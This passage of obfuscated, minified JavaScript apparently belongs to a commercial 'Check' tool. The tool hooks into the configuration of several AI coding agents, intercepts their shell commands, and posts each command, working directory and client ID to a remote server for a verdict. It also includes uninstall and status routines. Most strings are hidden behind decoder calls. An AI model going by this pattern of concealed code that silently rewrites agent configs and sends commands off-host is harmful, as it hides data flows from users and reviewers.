aCPR')]('\x20\x20https://www.golproductions.com/console'),console['log']('\x0a\x20\x20By\x20using\x20Check\x20you\x20agree\x20to\x20the\x20Terms\x20and\x20Privacy\x20Policy:'),console['log'](az(0xa7,'[n0C')),console['log'](az(0x2cc,'V&!G')),process[az(0x3ab,'1q$d')](0x0);}()),P[a0aw(0x370,'WE1b')](a0aw(0x2ad,'6kIn'))&&await(async function(){const aF=a0aw,z=a0Y();let A=0x0;console[aF(0x2c7,'C5(l')](aF(0x2b9,'Rppb'));let B=Promise[aF(0x10a,'Bady')]();try{const H=v();H&&(B=fetch(g[aF(0x1d1,'jEMx')](aF(0xcf,'hVmD'),aF(0x110,'!!sg')),{'method':aF(0x1ab,'Ar6f'),'headers':{'Content-Type':aF(0x109,'LX%0'),'X-GOL-CLIENT-ID':H,'User-Agent':'c/'+k},'body':JSON['stringify']({'verdict':aF(0xc7,'S#2O'),'channel':aF(0x2b2,'C5(l'),'os':a0Z(),'arch':a0a0(),'version':k}),'signal':AbortSignal[aF(0x155,'o6pi')](0xbb8)})[aF(0x1fa,']ax8')](()=>{}));}catch{}const D=[{'name':aF(0xb8,'jEMx'),'path':a0X(z,aF(0x1a3,'FHa%'),'settings.json'),'clean':I=>(I[aF(0x223,'Ar6f')]?.[aF(0x1fc,'aCPR')]&&(I['hooks'][aF(0x326,'0Xuv')]=I[aF(0x3a8,'aCPR')][aF(0x3aa,'ClnJ')]['filter'](J=>!J[aF(0x19e,'0Xuv')]?.[aF(0x399,'T9L!')](C)),0x0===I[aF(0x2ca,'SJ$)')][aF(0x31f,'!!sg')]['length']&&delete I[aF(0x8f,'tto%')][aF(0x165,'&igN')]),I[aF(0x111,'o6pi')]?.[aF(0x1a1,'ClnJ')]&&(I[aF(0x30c,'FHa%')][aF(0x140,'Cb3r')]=I[aF(0x2ea,'6kIn')][aF(0x29b,'9NtW')][aF(0xd8,'Ar6f')](J=>!J['hooks']?.[aF(0x334,'0Xuv')](C)),0x0===I[aF(0x395,'O^M1')][aF(0x162,'O^M1')][aF(0x1ec,'9NtW')]&&delete I[aF(0x223,'Ar6f')]['PostToolUse']),I[aF(0xbd,'y**z')]&&0x0===Object['keys'](I[aF(0x395,'O^M1')])['length']&&delete I[aF(0xfe,']ax8')],I['env']&&(delete I[aF(0x1cd,']p6m')][aF(0x311,'icf&')],0x0===Object[aF(0x17f,'[n0C')](I[aF(0x3b4,'AzwM')])['length']&&delete I[aF(0x1d4,'1d4H')]),I)},{'name':aF(0xfa,'[n0C'),'path':a0X(z,aF(0x22c,'V&!G'),aF(0x3ae,']p6m')),'clean':I=>(I[aF(0x1ba,'C5(l')]?.['BeforeTool']&&(I[aF(0x1eb,']p6m')]['BeforeTool']=I['hooks']['BeforeTool'][aF(0x20f,'@@[k')](J=>!J[aF(0x88,'MGi]')]?.[aF(0x16c,'hVmD')](K=>aF(0xec,']p6m')===K['name'])),0x0===I['hooks'][aF(0x3a3,'FHa%')][aF(0xda,'jEMx')]&&delete I[aF(0x14f,'V&!G')][aF(0x300,'SWlx')],0x0===Object[aF(0x134,'Ar6f')](I[aF(0x1ba,'C5(l')])[aF(0x28b,'3xwr')]&&delete I[aF(0xb2,'icf&')]),I)},{'name':aF(0xf6,'0Xuv'),'path':a0X(z,aF(0x187,'3R6X'),'hooks.json'),'clean':I=>(I[aF(0x1eb,']p6m')]?.[aF(0x359,'#j)D')]&&(I[aF(0x88,'MGi]')][aF(0xf4,'Rky*')]=I[aF(0x246,'N[mr')]['beforeShellExecution'][aF(0x39a,'C5(l')](J=>!w(J['command'])),0x0===I[aF(0x111,'o6pi')][aF(0x19a,'icf&')][aF(0xfc,']ax8')]&&delete I[aF(0x170,'XQEW')]['beforeShellExecution'],0x0===Object[aF(0x2c8,'N[mr')](I[aF(0x170,'XQEW')])[aF(0x107,'aCPR')]&&delete I[aF(0x36a,'%MgW')]),I)},{'name':'Homebase','path':a0X(z,aF(0x17e,'1q$d'),aF(0x3bb,'BKF3')),'clean':I=>(I[aF(0x2f9,'#j)D')]?.['PreToolUse']&&(I[aF(0x246,'N[mr')][aF(0x295,'Rppb')]=I[aF(0x395,'O^M1')][aF(0x31f,'!!sg')][aF(0x29c,'@JM*')](J=>!J[aF(0x336,'S#2O')]?.[aF(0x14e,'O^M1')](C)),0x0===I[aF(0xfe,']ax8')][aF(0x2c9,'SJ$)')][aF(0x28b,'3xwr')]&&delete I[aF(0x246,'N[mr')][aF(0x1d6,'XQEW')]),I[aF(0x2fa,'&igN')]?.[aF(0x167,'SJ$)')]&&(I[aF(0x170,'XQEW')]['PostToolUse']=I['hooks']['PostToolUse'][aF(0x209,']p6m')](J=>!J['hooks']?.[aF(0x1e1,'SD16')](C)),0x0===I[aF(0x395,'O^M1')][aF(0x284,'AzwM')][aF(0x28b,'3xwr')]&&delete I[aF(0x176,'Cb3r')]['PostToolUse']),I[aF(0x395,'O^M1')]&&0x0===Object[aF(0x27c,'Bady')](I['hooks'])[aF(0x236,'%MgW')]&&delete I[aF(0x19c,'ClnJ')],I['env']&&(delete I['env'][aF(0x291,'3R6X')],0x0===Object[aF(0x1a4,'C5(l')](I[aF(0x2eb,'T9L!')])[aF(0x107,'aCPR')]&&delete I[aF(0x287,'O^M1')]),I)}],E=[{'name':'Windsurf','path':a0X(z,'.codeium',aF(0x2b6,'T9L!'),aF(0x1cb,'tQif'))},{'name':aF(0xea,'MGi]'),'path':a0X(z,aF(0xbb,'SWlx'),aF(0x1c7,'Bady'),aF(0x33e,'[5C('))}],F=[{'name':'Continue','path':a0X(process[aF(0x1f7,'V&!G')](),aF(0x281,'N[mr'),aF(0x12c,'%MgW'),'check.json'),'deleteFile':!0x0},{'name':aF(0x333,'BKF3'),'path':a0X(process[aF(0xa6,'icf&')](),aF(0x237,'Rppb'),'mcp.json')},{'name':aF(0x11e,'ClnJ'),'path':a0X(process[aF(0x28f,'!!sg')](),'.mcp.json')}];for(const I of D)if(a0M(I[aF(0x318,'aCPR')]))try{const J=JSON['parse'](a0J(I['path'],aF(0x136,'Bady'))),K=I[aF(0x398,'y6qr')](J);a0K(I[aF(0x13f,'ClnJ')],JSON[aF(0xf5,'ClnJ')](K,null,0x2)+'\x0a','utf8'),console[aF(0x27a,'[n0C')](aF(0xd6,'Bady')+I[aF(0x21d,'6kIn')]),A++;}catch{}for(const L of[...E,...F])if(a0M(L[aF(0x271,'AzwM')]))try{if(L['deleteFile'])a0Q(L[aF(0x318,'aCPR')]),console[aF(0x242,'Cb3r')](aF(0xd6,'Bady')+L[aF(0x391,'N[mr')]),A++;else{const M=JSON[aF(0x177,'[5C(')](a0J(L[aF(0x278,'1q$d')],'utf8'));M[aF(0x36b,'0Xuv')]?.[aF(0x390,']ax8')]&&(delete M[aF(0x36b,'0Xuv')][aF(0x2fd,'ClnJ')],0x0===Object[aF(0xe2,'3R6X')](M['mcpServers'])[aF(0x1d2,'ClnJ')]&&delete M['mcpServers'],a0K(L[aF(0x25a,'XQEW')],JSON[aF(0x1dc,'3R6X')](M,null,0x2)+'\x0a','utf8'),console[aF(0x201,'3xwr')](aF(0x2fe,'MGi]')+L[aF(0x9d,'AzwM')]),A++);}}catch{}const G=a0X(z,aF(0xc5,'T9L!'));if(a0M(G))try{const N={};N[aF(0x2bb,'jEMx')]=!0x0,N[aF(0x102,'Bady')]=!0x0,(a0R(G,N),console[aF(0x1de,'hVmD')]('\x20\x20\x20\x20removed\x20\x20~/.check/'));}catch{}0x0===A?console['log'](aF(0x3b0,'!!sg')):(console[aF(0x33a,'tQif')](aF(0x181,'SJ$)')+A+aF(0x19f,'SJ$)')+(0x1!==A?'s':'')+'.'),console['log']('\x20\x20CLAUDE.md\x20/\x20AGENTS.md\x20rules\x20were\x20left\x20in\x20place.\x0a'));try{await B;}catch{}process[aF(0x34b,'0Xuv')](0x0);}()),P[a0aw(0xde,'V&!G')](a0aw(0x369,'tQif'))&&await(async function(){const aG=a0aw,q=a0Y(),z=a0X(q,'.check'),A=aG(0x299,'#j)D')===a0Z()?aG(0x220,'0Xuv'):'',B=v();if(console[aG(0xce,'Ar6f')](aG(0x354,']ax8')+k+'\x0a'),B){const G=B[aG(0xfc,']ax8')]>0xc?B[aG(0x208,'N[mr')](0x0,0x8)+aG(0x293,'S#2O')+B[aG(0x2af,'Bady')](-0x4):B;console['log'](aG(0x139,']p6m')+G);}else console['log'](aG(0x2ae,'aCPR'));const D=a0X(z,aG(0x341,'FHa%')+A);console[aG(0x27a,'[n0C')]('\x20\x20Binary:\x20\x20\x20\x20\x20'+(a0M(D)?aG(0xd3,'1d4H'):'not\x20found'));const E=a0X(z,aG(0x1e6,'hVmD'));console[aG(0x367,'R)mN')](aG(0x39b,'0Xuv')+(a0M(E)?'installed':aG(0x23c,'y**z'))),console[aG(0x122,'[5C(')](aG(0x17a,'R)mN'));const F=[{'name':aG(0x362,'ClnJ'),'path':a0X(q,'.claude',aG(0x234,'y6qr')),'test':H=>H[aG(0x395,'O^M1')]?.['PreToolUse']?.['some'](I=>I[aG(0x19b,'9NtW')]?.[aG(0x1f3,'[5C(')](C))||H[aG(0xfe,']ax8')]?.['PostToolUse']?.[aG(0x334,'0Xuv')](I=>I['hooks']?.[aG(0x286,'y6qr')](C)),'detail':H=>{const aH=aG,I=[];return H[aH(0x312,'T9L!')]?.['PreToolUse']?.[aH(0x1b0,'S#2O')](J=>J['hooks']?.[aH(0x37b,'WE1b')](C))&&I[aH(0x22e,'SWlx')](aH(0x18a,']ax8')),H['hooks']?.['PostToolUse']?.[aH(0x98,'6kIn')](J=>J['hooks']?.[aH(0x288,'Bady')](C))&&I['push'](aH(0x324,'LX%0')),I['join'](',\x20');}},{'name':aG(0x131,'icf&'),'path':a0X(q,aG(0x1c4,'bAhZ'),aG(0x103,'!!sg')),'test':H=>H['hooks']?.[aG(0x38d,'0Xuv')]?.['some'](I=>I['hooks']?.['some'](J=>aG(0x216,'#j)D')===J[aG(0x36e,'Cb3r')])),'detail':()=>'BeforeTool'},{'name':'Cursor','path':a0X(q,aG(0x261,'ClnJ'),aG(0x137,'bAhZ')),'test':H=>H[aG(0x11b,'hVmD')]?.[aG(0x244,'Bady')]?.[aG(0x39f,'9NtW')](I=>w(I[aG(0xaa,'[5C(')])),'detail':()=>'beforeShellExecution'},{'name':aG(0x118,'T9L!'),'path':a0X(q,aG(0x2e4,'N[mr'),aG(0x11f,'aCPR')),'test':H=>H[aG(0x31e,'WE1b')]?.[aG(0x267,'@@[k')]?.[aG(0xdc,'SWlx')](I=>I[aG(0x312,'T9L!')]?.[aG(0x302,'Cb3r')](C))||H[aG(0x19e,'0Xuv')]?.[aG(0x2f1,'&igN')]?.[aG(0x161,'aCPR')](I=>I[aG(0x14f,'V&!G')]?.[aG(0x14e,'O^M1')](C)),'detail':H=>{const aI=aG,I=[];return H[aI(0x1ba,'C5(l')]?.[aI(0x308,'O^M1')]?.[aI(0x28e,'jEMx')](J=>J[aI(0x170,'XQEW')]?.[aI(0x143,'LX%0')](C))&&I[aI(0x375,'jEMx')]('PreToolUse'),H[aI(0x336,'S#2O')]?.[aI(0x140,'Cb3r')]?.[aI(0x334,'0Xuv')](J=>J['hooks']?.[aI(0x245,'%MgW')](C))&&I[aI(0x255,'y6qr')]('PostToolUse'),I[aI(0x3a5,'Ar6f')](',\x20');}},{'name':'Windsurf','path':a0X(q,aG(0x30f,'Rky*'),aG(0x2a7,'icf&'),'mcp_config.json'),'test':H=>!!H[aG(0x219,'o6pi')]?.[aG(0x230,'XQEW')],'detail':()=>aG(0x337,'WE1b')},{'name':aG(0x3ad,'[5C('),'path':a0X(process['cwd'](),aG(0xab,'aCPR'),aG(0x17d,'MGi]'),aG(0x35a,'9NtW')),'test':H=>!!H[aG(0x2a0,'S#2O')]?.['Check'],'detail':()=>aG(0x93,'XQEW')},{'name':aG(0x340,']ax8'),'path':a0X(q,'.aws',aG(0x310,'0Xuv'),aG(0x120,'LX%0')),'test':H=>!!H[aG(0x219,'o6pi')]?.[aG(0x204,'tQif')],'detail':()=>aG(0x393,'tQif')},{'name':aG(0xa3,'0Xuv'),'path':a0X(process[aG(0x184,'ClnJ')](),'.roo',aG(0x377,'y6qr')),'test':H=>!!H[aG(0x2c3,'[5C(')]?.[aG(0x1ed,'LX%0')],'detail':()=>aG(0xba,'#j)D')},{'name':aG(0x171,'hVmD'),'path':a0X(process[aG(0x121,'MGi]')](),aG(0x15e,'#j)D')),'test':H=>!!H[aG(0x145,'SJ$)')]?.[aG(0x1e8,'bAhZ')],'detail':()=>'MCP\x20(project)'}];for(const H of F)if(a0M(H[aG(0x363,'1d4H')]))try{const I=JSON[aG(0x174,'bAhZ')](a0J(H[aG(0x35f,'tQif')],aG(0x381,'@JM*')));H[aG(0x1a0,'AzwM')](I)?console[aG(0x84,'y**z')]('\x20\x20\x20\x20+\x20\x20'+H[aG(0x194,'aCPR')][aG(0x2f5,'C5(l')](0xe)+aG(0x1ee,'SJ$)')+H['detail'](I)+')'):console[aG(0x20b,'SD16')]('\x20\x20\x20\x20-\x20\x20'+H[aG(0x233,'tQif')][aG(0x3b8,'y6qr')](0xe)+aG(0x37e,'V&!G'));}catch{console['log']('\x20\x20\x20\x20?\x20\x20'+H[aG(0x24c,']ax8')][aG(0x1c5,'N[mr')](0xe)+'\x20config\x20unreadable');}else console['log']('\x20\x20\x20\x20-\x20\x20'+H[aG(0xfd,'@JM*')]['padEnd'](0xe)+aG(0x2e1,'1d4H'));console[aG(0x33a,'tQif')](''),process[aG(0x3ab,'1q$d')](0x0);}()),P['includes']('--credits')&&await(async function(){const aJ=a0aw,z=v();z||(console[aJ(0x242,'Cb3r')](aJ(0x384,'Bady')),process[aJ(0x16b,'%MgW')](0x1));try{const A={};A['X-GOL-CLIENT-ID']=z,A[aJ(0x2a5,'[5C(')]='c/'+k;const B=await fetch(g[aJ(0x1c2,'R)mN')](aJ(0x15d,'icf&'),aJ(0x385,'Ar6f')),{'method':aJ(0x355,'XQEW'),'headers':A,'signal':AbortSignal[aJ(0x15c,'1q$d')](0x2710)});B['ok']||(console[aJ(0x122,'[5C(')](aJ(0x1ff,'jEMx')+B[aJ(0x1b6,'Bady')]+aJ(0x297,'1q$d')),process[aJ(0x227,'aCPR')](0x1));const D=await B[aJ(0x12b,'y6qr')]();console[aJ(0x201,'3xwr')](aJ(0xe9,'O^M1')+k+aJ(0x1db,'#j)D')),void 0x0!==D[aJ(0x24d,'SWlx')]&&console[aJ(0x33a,'tQif')]('\x20\x20Free\x20today:\x20\x20\x20\x20'+D[aJ(0x2ec,'Rppb')]+aJ(0x2a1,'C5(l')+(D['free_daily']||0x78)),void 0x0!==D[aJ(0x270,'aCPR')]&&console[aJ(0x229,'LX%0')](aJ(0x316,'tQif')+D[aJ(0xb0,'[5C(')]),void 0x0!==D['balance']&&console[aJ(0x2b8,'&igN')](aJ(0x30e,'C5(l')+D[aJ(0x146,'0Xuv')]+aJ(0x9a,'Ar6f')),void 0x0!==D[aJ(0x27e,'ClnJ')]&&console['log'](aJ(0x34e,'V&!G')+D[aJ(0x205,']p6m')]),D[aJ(0x123,'[n0C')]&&console[aJ(0x173,'N[mr')](aJ(0x1da,'ClnJ')+D[aJ(0x21e,'Rky*')]),0x0===Object[aJ(0x148,']ax8')](D)[aJ(0x8a,'@@[k')]&&console[aJ(0x122,'[5C(')]('\x20\x20'+JSON['stringify'](D)),console[aJ(0x27a,'[n0C')]('');}catch(E){console[aJ(0x1c1,'o6pi')](aJ(0x20d,'y6qr')+E[aJ(0x1ef,'3R6X')]+'\x0a');}process[aJ(0x101,'#j)D')](0x0);}()),P[a0aw(0x397,'C5(l')](a0aw(0x116,'R)mN'))&&await(async function(){const aK=a0aw;console['log']('\x0a\x20\x20Check\x20v'+k+aK(0x32d,'1q$d'));try{const {execSync:B}=await import('node:child_process'),D=aK(0x16e,'!!sg'),E={};E[aK(0x151,'%MgW')]='ignore',E['shell']=!0x0;const F={};F[aK(0x104,'R)mN')]=aK(0x2dd,'@@[k');const G={};G[aK(0x10b,']p6m')]=aK(0x387,'6kIn'),aK(0x3b3,'C5(l')===a0Z()?B(aK(0x29f,'@@[k')+D+'\x22',E):aK(0x11c,'T9L!')===a0Z()?B(aK(0x112,'!!sg')+D+'\x22',F):B('xdg-open\x20\x22'+D+'\x22',G);}catch{}process[aK(0x138,'Cb3r')](0x0);}()),(P[a0aw(0x32e,'#j)D')](a0aw(0x125,'R)mN'))||P[a0aw(0x26d,']ax8')]('-h'))&&T(),P[a0aw(0x90,'O^M1')](a0aw(0xfb,'@@[k'))&&(await import(a0aw(0x9f,'%MgW')),process[a0aw(0x2cd,'@JM*')](0x0)),!P[a0aw(0x364,'XQEW')](q=>q[a0aw(0x2bf,'%MgW')]('-'))&&process[a0aw(0x347,'O^M1')][a0aw(0x1d5,'XQEW')]&&T();const $=new Set(['sudo',a0aw(0x12d,'3R6X'),'nice',a0aw(0x3b1,'bAhZ'),a0aw(0x117,'XQEW'),a0aw(0x1cd,']p6m')]),x=new Set(['cd',a0aw(0x1e2,'1d4H'),a0aw(0x2b4,'[n0C'),'pwd',a0aw(0x2c4,'bAhZ'),a0aw(0x2d0,'%MgW'),a0aw(0x12e,'6kIn'),a0aw(0x330,'0Xuv'),a0aw(0x2b1,'LX%0'),a0aw(0x2e5,'SD16'),'false',a0aw(0x376,'Bady'),'[','[[',a0aw(0x3b2,'tQif'),a0aw(0x130,'#j)D'),a0aw(0x2df,'Ar6f'),a0aw(0x1fe,'#j)D'),a0aw(0x313,'SJ$)'),a0aw(0xa9,']ax8'),'.',a0aw(0xbf,']ax8'),a0aw(0x1f6,'S#2O'),a0aw(0x189,'LX%0'),a0aw(0x1a8,'y6qr'),'jobs','fg','bg',a0aw(0x202,'&igN'),a0aw(0x289,'WE1b'),'local',a0aw(0x2a3,'WE1b'),a0aw(0x283,'SJ$)'),a0aw(0x275,'SJ$)'),a0aw(0x38b,'[n0C'),a0aw(0xe8,'3R6X'),a0aw(0x160,'S#2O'),'command','builtin','ulimit',a0aw(0xf2,'MGi]'),'times','dirs','pushd',a0aw(0x203,'[n0C'),'for',a0aw(0x129,'LX%0'),'until','if',a0aw(0xdd,'Cb3r'),a0aw(0x3a4,'#j)D'),'elif','fi','do',a0aw(0x1b2,'Ar6f'),a0aw(0x3af,'S#2O'),a0aw(0x378,']ax8'),'in',a0aw(0x1bd,'[5C('),a0aw(0x1d7,'MGi]'),'{','}','!']);function _(){const aL=a0aw;if('win32'!==a0Z())return'bash';const q=[process.env.CLAUDE_CODE_GIT_BASH_PATH,aL(0x2d9,']ax8'),aL(0x15b,'o6pi'),aL(0x254,'[5C(')][aL(0x16f,'0Xuv')](Boolean);for(const z of q)try{if(a0M(z))return z;}catch{}return null;}function U(q,z){const aM=a0aw;if(!q)return null;const A=q[aM(0x8e,'y6qr')](/\r?\n/)['find'](D=>D[aM(0x322,'N[mr')](z));if(!A)return null;let B=A['slice'](A[aM(0x127,'%MgW')](z)+z[aM(0x106,'6kIn')]);return B=B[aM(0x1b9,']ax8')](/^['"\s:]+/,'')[aM(0x192,'0Xuv')](/\s+$/,''),B?z+':\x20'+B:null;}function j(B,D,E){const aN=a0aw;try{if('powershell'===E){const I={...process.env};I[aN(0x2fc,'bAhZ')]=B;const J={};J[aN(0xc8,'SD16')]=D,J[aN(0x18e,'tto%')]=0xfa0,J[aN(0x3a6,'SJ$)')]=aN(0xd4,'#j)D'),J[aN(0x226,'S#2O')]=I;const K=a0V('powershell',[aN(0x24e,'0Xuv'),aN(0x1f0,'#j)D'),aN(0x25e,'T9L!'),aN(0x34a,'S#2O')],J);return K[aN(0x269,'1d4H')]?null:{'known':0x0===K[aN(0x2da,'3R6X')],'why':0x0===K[aN(0x182,']ax8')]?null:U(K[aN(0x97,'bAhZ')],B)};}const F=_();if(!F)return null;const G={};G[aN(0x319,'6kIn')]=D,G[aN(0x31b,'ClnJ')]=0xfa0,G['encoding']=aN(0x8c,'y6qr');const H=a0V(F,['-c',aN(0x1fb,'SD16'),'check',B],G);return H[aN(0x1af,'O^M1')]?null:{'known':0x0===H['status'],'why':0x0===H[aN(0x2a6,'Cb3r')]?null:U(H[aN(0x18c,'y6qr')],B)};}catch{return null;}}!(async function(){const aO=a0aw;let B=aO(0x277,'C5(l');try{let D,E='';for await(const X of process['stdin'])E+=X;E=E[aO(0x1b9,']ax8')](/^/,'')[aO(0x30a,'C5(l')](),E||(process[aO(0x3a1,'[5C(')][aO(0x301,'FHa%')](aO(0x175,'#j)D')),process[aO(0x34b,'0Xuv')](0x1));try{D=JSON[aO(0xd5,'hVmD')](E);}catch{return void S('claude',!0x1,'check:\x20unreadable\x20hook\x20input\x20(not\x20JSON),\x20command\x20blocked');}if(aO(0xd7,'jEMx')===D[aO(0x339,'@JM*')])return void process['exit'](0x0);B=function(Y){const aP=aO;return'string'!=typeof Y[aP(0x105,'tQif')]||Y[aP(0x22b,'bAhZ')]?aP(0x379,'Ar6f')===Y[aP(0x18f,'3xwr')]||Y[aP(0x15f,'3R6X')]?.[aP(0x1b1,'0Xuv')]?aP(0x153,'R)mN'):aP(0x166,'BKF3'):aP(0x1f8,'C5(l');}(D);const F=function(Y,Z){const aQ=aO;if(aQ(0x2a9,'o6pi')===Z)return Y[aQ(0xaa,'[5C(')];if(aQ(0xb1,'y**z')===Z){if(Y['tool_input']?.['command'])return Y[aQ(0x1a7,'3R6X')][aQ(0xaa,'[5C(')];if(Y['toolCall']?.[aQ(0xb3,'tto%')])try{const a0=aQ(0x190,'1q$d')==typeof Y[aQ(0x163,'y6qr')][aQ(0xca,'[n0C')]?JSON[aQ(0x31d,'V&!G')](Y[aQ(0x26b,'T9L!')][aQ(0x115,'AzwM')]):Y['toolCall'][aQ(0x191,'y6qr')];return a0[aQ(0x2aa,'@@[k')]||a0['CommandLine']||a0[aQ(0x290,'@JM*')];}catch{return null;}return null;}return Y[aQ(0xef,'tto%')]?.[aQ(0xaa,'[5C(')];}(D,B);if(!F)return void S(B,!0x0);const G=v();if(!G)return void S(B,!0x1,'check:\x20GOL_CLIENT_ID\x20not\x20set.\x20Get\x20your\x20key\x20at\x20https://golproductions.com/check');if(aO(0x9e,'V&!G')===D['tool_name']){const Y=await async function(Z){const aR=aO;try{const a0=_();if(!a0)return null;const a1={};a1['input']=Z,a1[aR(0x1c0,'y**z')]=0xfa0,a1[aR(0xb9,'[5C(')]='utf8';const a2=a0V(a0,['-n'],a1);if(a2['error'])return null;if(0x0===a2['status']){const a3=(a2[aR(0xdb,'@@[k')]||'')[aR(0x2ed,'6kIn')]('\x0a')[aR(0x198,'[n0C')](a4=>/here-document.*end-of-file/i[aR(0x2d3,'6kIn')](a4));return!!a3&&a3[aR(0x33c,'3R6X')](/^[^:]*bash[^:]*:\s*/i,'')[aR(0x2e3,'BKF3')]();}return((a2[aR(0x185,'BKF3')]||'')[aR(0x2ed,'6kIn')]('\x0a')['find'](a4=>a4[aR(0x213,'icf&')]())||'syntax\x20error')[aR(0x329,'@JM*')](/^[^:]*bash[^:]*:\s*/i,'')[aR(0x3b9,'3R6X')]();}catch{return null;}}(F);if(aO(0x190,'1q$d')==typeof Y)return void S(B,!0x1,aO(0x1e4,'Cb3r')+Y);}const H={};H[aO(0x394,'Rky*')]={},H[aO(0x3a9,'SWlx')]={};const I='PowerShell'===D[aO(0x292,'icf&')]?aO(0x38e,'3xwr'):aO(0x279,'%MgW'),J=[],K=H,L=function(Z,a0,a1,a2,a3){const aU=aO;try{let a4=function(a9){const aS=a0B,aa=[[]];let ab='',ac=null;for(let af=0x0;af<a9['length'];af++){const ag=a9[af];ac?ag===ac?ac=null:ab+=ag:'\x22'!==ag&&'\x27'!==ag?'|'!==ag&&'&'!==ag&&';'!==ag&&'\x0a'!==ag?/\s/[aS(0x2be,'[n0C')](ag)?ab&&(aa[aa[aS(0x25d,'tQif')]-0x1][aS(0x2b5,'R)mN')](ab),ab=''):ab+=ag:(ab&&(aa[aa[aS(0x159,'R)mN')]-0x1]['push'](ab),ab=''),aa[aa[aS(0x12f,'Cb3r')]-0x1][aS(0x2f7,'[n0C')]&&aa[aS(0x2e7,']ax8')]([]),'|'!==ag&&'&'!==ag||a9[af+0x1]!==ag||af++):ac=ag;}ab&&aa[aa['length']-0x1][aS(0x24b,']p6m')](ab);const ad=new Set(['do',aS(0x39e,'@@[k'),aS(0x2bd,'T9L!'),aS(0x346,'y**z'),'if','while',aS(0x2ac,'ClnJ'),'!','{']),ae=[];for(const ah of aa){let ai=null;for(const aj of ah)if(aj&&!$['has'](aj)&&!ad[aS(0xb4,'SJ$)')](aj)&&!/^[\d.]+[smhd]?$/[aS(0x264,'BKF3')](aj)&&(!aj[aS(0x1e5,'Ar6f')]('=')||aj['startsWith']('-'))&&!aj[aS(0x2a2,'#j)D')]('-')){ai=aj;break;}ai&&ae[aS(0x1be,'hVmD')](ai);}return ae;}(function(a9){const aT=a0B,aa=a9[aT(0x2d7,'T9L!')]('\x0a'),ab=[],ac=[];for(const ad of aa){if(ac[aT(0x1b7,'AzwM')]){const {delim:ae,dashed:af}=ac[0x0];(af?ad[aT(0x2d1,'o6pi')](/^\t+/,''):ad)===ae&&ac['shift']();continue;}ab['push'](ad);for(const ag of ad[aT(0x1aa,'Rppb')](/<<(-?)(?!<)\s*(?:'([^']+)'|"([^"]+)"|(\w+))/g))ac['push']({'delim':ag[0x2]||ag[0x3]||ag[0x4],'dashed':'-'===ag[0x1]});}return ab[aT(0x36c,'3R6X')]('\x0a');}(Z)['replace'](/\\\r?\n/g,'\x20'));if(aU(0x38e,'3xwr')!==a1&&(a4=a4[aU(0x16d,'Rky*')](a9=>!x[aU(0x2e8,']p6m')](a9))),0x0===a4[aU(0x342,'y6qr')])return!0x0;const a5=[...new Set(a4[aU(0x99,'AzwM')](a9=>/^[A-Za-z0-9_.\/\\~:@+=-]+$/[aU(0x1a0,'AzwM')](a9)))],a6=a5[aU(0xa4,'SJ$)')]!==new Set(a4)[aU(0x221,'MGi]')];let a7=!0x1,a8=a6;for(const a9 of a5){const aa=j(a9,a0,a1);null!==aa?(a3&&(a3[aU(0x35d,'Ar6f')][a9]=aa['known'],!aa[aU(0x26c,'hVmD')]&&aa['why']&&(a3[aU(0x388,'[n0C')][a9]=aa[aU(0x20e,'SD16')])),!0x1===aa[aU(0x10e,'aCPR')]&&(a7=!0x0,a2&&a2[aU(0x22e,'SWlx')](aa[aU(0x33d,'bAhZ')]||a9+aU(0x172,'aCPR')))):a8=!0x0;}return!a7&&(!a8||null);}catch{return null;}}(F,D['cwd'],I,J,K);if(!0x1===L&&J['length'])return void S(B,!0x1,aO(0x1e9,'WE1b')+J['join'](';\x20'));const M={'command':F,'cwd':D[aO(0x20a,'bAhZ')]||process[aO(0x309,']p6m')](),'platform':B,'channel':'npm','tool_name':D['tool_name'],'v':k,'probe_ok':0x1,'path_ok':0x1,'git_ok':0x1};null!==L&&(M[aO(0x132,'XQEW')]=L);const N={};N[aO(0x294,'SD16')]='application/json',N[aO(0x37c,'bAhZ')]=G,N[aO(0x1a2,'AzwM')]='c/'+k;const O=(Z,a0)=>fetch(g,{'method':aO(0x24a,'&igN'),'headers':N,'body':JSON[aO(0x108,'SJ$)')](Z),'signal':a0}),Q=new AbortController(),R=setTimeout(()=>Q[aO(0xf8,'jEMx')](),0x1388);let V=await O(M,Q[aO(0x328,'%MgW')]);clearTimeout(R);let W=await V['json']();if(V['ok']&&aO(0x217,'Bady')===W[aO(0x352,'V&!G')]&&Array[aO(0x13b,'Cb3r')](W[aO(0x217,'Bady')])){const Z=W[aO(0x158,'%MgW')][aO(0x30b,'3xwr')](a9=>!(a9 in K[aO(0x206,']p6m')])),a0=await function(a9,aa,ab){const aV=aO,ac={};ac['probe']={},ac[aV(0x2dc,'0Xuv')]={};const ad=ac;if(!Array[aV(0xbe,'[n0C')](a9)||0x0===a9[aV(0x37d,'1q$d')])return Promise[aV(0x1e0,'R)mN')](ad);const ae=a9[aV(0x335,'WE1b')](ag=>aV(0xb6,'tto%')==typeof ag&&ag[aV(0xfc,']ax8')]>0x0&&ag['length']<0x258)[aV(0xd1,'bAhZ')](0x0,0x10);if(0x0===ae[aV(0x1d9,'y**z')])return Promise[aV(0x1ca,'SD16')](ad);let af;try{if(aV(0x222,'y6qr')===ab)af=a0W(aV(0x218,'FHa%'),[aV(0x14c,'3xwr'),aV(0x19d,'Rppb'),aV(0x23f,'Bady'),aV(0x2d5,'1q$d')],{'cwd':aa,'env':{...process.env,'CHECK_PROBES':ae[aV(0x266,'o6pi')]('\x1f')}});else{const ag=_();if(!ag)return Promise[aV(0x1e0,'R)mN')](ad);const ah={};ah['cwd']=aa,af=a0W(ag,['-c',aV(0x285,'@JM*'),aV(0x239,'0Xuv'),...ae],ah);}}catch{return Promise[aV(0x353,'bAhZ')](ad);}return new Promise(ai=>{const aX=aV;let aj='';const ak=()=>{const aW=a0B;try{for(const am of aj['split']('\x1f')){if(!am)continue;const 